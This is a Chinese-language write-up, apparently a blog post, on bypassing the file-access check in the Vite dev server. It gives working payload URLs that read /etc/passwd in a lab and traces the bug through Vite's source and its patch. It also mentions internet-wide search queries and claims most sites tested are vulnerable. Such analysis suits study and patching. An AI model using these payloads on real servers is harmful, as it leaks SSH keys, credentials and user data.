初步了解 Vite 是一款现代化的前端开发构建工具,它提供了快速的开发服务器和高效的构建能力,广泛应用于 Vue.js 项目的开发过程中。 由于 Vite 开发服务器在处理特定 URL 请求时,没有对请求的路径进行严格的安全检查和限制,导致攻击者可以绕过保护机制,非法访问项目根目录外的敏感文件。攻击者只需在浏览器输入一个 URL,就可能会造成源码、SSH密钥、数据库账号、用户数据等目标机器上的任意文件信息泄露。
影响版本:
6.2.0 <= Vite <= 6.2.2
6.1.0 <= Vite <= 6.1.1
6.0.0 <= Vite <= 6.0.11
5.0.0 <= Vite <= 5.4.14
Vite <= 4.5.9
其实2021年4月就有人第一次给Vite提交了@fs
导致的文件读取漏洞(CNVD-2022-4461),当时的payload就是:/@fs/etc/passwd
。
后来官方修复了这个漏洞,直到最近补丁被绕过。使用这个payload来绕过:/@fs/etc/passwd?raw??
Fofa搜索语句:
亲测,几乎所有网站都有洞!!!
360quake搜索语句:
环境搭建 这里的环境我们直接用p神的vulhub漏洞环境。
https://github.com/vulhub/vulhub/tree/master/vite
漏洞复现 payload:以下两个payload都是可以的。
1 2 http://192.168.79.128:5173/@fs/etc/passwd?raw?? 只能读无后缀文件 http://192.168.79.128:5173/@fs/etc/passwd?import&raw?? 用这个比较好,可以读有后缀的文件
漏洞分析 @fs
拒绝访问 Vite 服务允许列表之外的文件。将?raw??
或?import&raw??
添加到 URL 可绕过此限制并返回文件内容(如果存在)。之所以存在这种绕过,是因为?
在多个地方删除了尾随分隔符(例如),但在查询字符串正则表达式中没有考虑到这一点。
主要修补点:https://github.com/vitejs/vite/commit/f234b5744d8b74c95535a7b82cc88ed2144263c1#diff-6d94d6934079a4f09596acc9d3f3d38ea426c6f8e98cd766567335d42679ca7cL43-R188
packages/vite/src/node/server/middlewares/transform.ts
官方的commit其实就是加了个正则,同时在之后进行了替换
使用正则/[?&]+$/
替换成空值,将url地址最后的连续的&或者?替换成空。
这里我们先看看6.2.2版本(漏洞版本)的rawRE和urlRE
1 2 export const urlRE = /(\?|&)url(?:&|$)/ export const rawRE = /(\?|&)raw(?:&|$)/
通过正则匹配进行判断是否属于raw或者url类型的。满足任意一个就会使用ensureServingAccess函数进行鉴权。比如rawRe的正则为:export const rawRE = /(\?|&)raw(?:&|$)/
匹配要求raw参数结束或者raw&。结合官方的修复方案这里使用的是?raw?进行绕过,但是在这个函数开头有一部分代码
1 2 3 4 5 6 7 8 try { url = decodeURI (removeTimestampQuery (req.url !)).replace ( NULL_BYTE_PLACEHOLDER , '\0' , ) } catch (e) { return next (e) }
这里我们跟进一下removeTimestampQuery函数
1 2 3 4 5 6 const trailingSeparatorRE = /[?&]$/ const timestampRE = /\bt=\d{13}&?\b/ export function removeTimestampQuery (url : string ): string { return url.replace (timestampRE, '' ).replace (trailingSeparatorRE, '' ) }
这会删除最后一位的?
,因此payload就是?raw??
很明显,这里只替换了一次为空?或者&,故url由
/@fs/tmp/test.txt?import&raw?? 替换成了
/@fs/tmp/test.txt?import&raw?
然后我们跟着代码往下走,会走到如下代码:
1 2 3 4 5 6 if ( (rawRE.test (url) || urlRE.test (url)) && !ensureServingAccess (url, server, res, next) ) { return }
此处需要rawRE.test(url)和urlRE.test(url)都会false才不会进入ensureServingAccess进行鉴权。
然后就是通过import参数进入if条件判断。并调用removeImportQuery清除import参数的函数。
然后我们再两者都为false的前提下往下走:
接 下 来 会 依 次 判 断 isJSRequest , isImportRequest , isCSSRequest , isHTMLProxy。
1 2 3 4 5 6 7 8 9 10 11 12 const knownJsSrcRE = /\.(?:[jt]sx?|m[jt]s|vue|marko|svelte|astro|imba|mdx)(?:$|\?)/ export const isJSRequest = (url : string ): boolean => { url = cleanUrl (url) if (knownJsSrcRE.test (url)) { return true } if (!path.extname (url) && url[url.length - 1 ] !== '/' ) { return true } return false }
1 2 const importQueryRE = /(\?|&)import=?(?:&|$)/ export const isImportRequest = (url : string ): boolean => importQueryRE.test (url)
1 2 3 4 export const CSS_LANGS_RE = /\.(css|less|sass|scss|styl|stylus|pcss|postcss|sss)(?:$|\?)/ export const isCSSRequest = (request : string ): boolean => CSS_LANGS_RE .test (request)
1 2 const isHtmlProxyRE = /\?html-proxy\b/ export const isHTMLProxy = (id : string ): boolean => isHtmlProxyRE.test (id)
这里拿/@fs/etc/passwd?import&raw??
来说,经过了一个removeTimestampQuery后会变成/@fs/etc/passwd?import&raw?
。
那就会在 isImportRequest处断言为真
但是此时我有一个疑问??
为什么**?raw??**这个payload也是可以的??上面的正则好像都匹配不上啊?
这里我们看下js的判断函数
if (!path.extname(url) && url[url.length - 1] !== ‘/‘) { return true }
如果没有文件拓展名且不以斜杠结尾,那么直接返回true
但是有限制,只能读取无后缀文件
经过上述这个if判断后,会进入if语句。那么遇到的就是removeImportQuery函数
1 2 3 4 5 6 const importQueryRE = /(\?|&)import=?(?:&|$)/ const trailingSeparatorRE = /[?&]$/ export function removeImportQuery (url : string ): string { return url.replace (importQueryRE, '$1' ).replace (trailingSeparatorRE, '' ) }
在removeImportQuery函数中在清除掉import参数后,还将结尾的多余的?或者&给清除掉了。
随后进入到transformRequest中,此时/@fs/etc/passwd?raw
1 2 3 4 5 const cacheKey = `${options.html ? 'html:' : '' } ${url} ` const pending = environment._pendingRequests .get (cacheKey)if (pending) {
上述代码一般用于请求去重。
pending为空,然后就进入了doTransform函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 async function doTransform ( environment : DevEnvironment , url : string , options : TransformOptions , timestamp : number , ) { url = removeTimestampQuery (url) const { pluginContainer } = environment let module = await environment.moduleGraph .getModuleByUrl (url) if (module ) { const cached = await getCachedTransformResult ( environment, url, module , timestamp, ) if (cached) return cached } const resolved = module ? undefined : ((await pluginContainer.resolveId (url, undefined )) ?? undefined ) const id = module ?.id ?? resolved?.id ?? url module ??= environment.moduleGraph .getModuleById (id) if (module ) { await environment.moduleGraph ._ensureEntryFromUrl (url, undefined , resolved) const cached = await getCachedTransformResult ( environment, url, module , timestamp, ) if (cached) return cached } const result = loadAndTransform ( environment, id, url, options, timestamp, module , resolved, ) const { depsOptimizer } = environment if (!depsOptimizer?.isOptimizedDepFile (id)) { environment._registerRequestProcessing (id, () => result) } return result }
转换为module,得到磁盘中的filePath。
接下来将文件内容写入到cache然后返回到result中。
1 2 3 4 5 6 7 8 9 10 const request = doTransform(environment, url, options, timestamp) // Cache the request and clear it once processing is done environment._pendingRequests.set(cacheKey, { request, timestamp, abort: clearCache, }) return request.finally(clearCache)
最后在界面产生响应。
看看6.2.4版本(新版本)的rawRE和urlRE,这里还多了个inlineRE
1 2 3 4 const urlRE = /[?&]url\b/ const rawRE = /[?&]raw\b/ const inlineRE = /[?&]inline\b/ const trailingQuerySeparatorsRE = /[?&]+$/
引入了一个正则表达式/[?&]+$/来匹配连续的?和&,这段代码用于清除url末尾的多问号
这里就修补了上述漏洞!
参考文章:
https://forum.butian.net/index.php/article/681
https://www.xaitx.com/tech/2025-03-26.html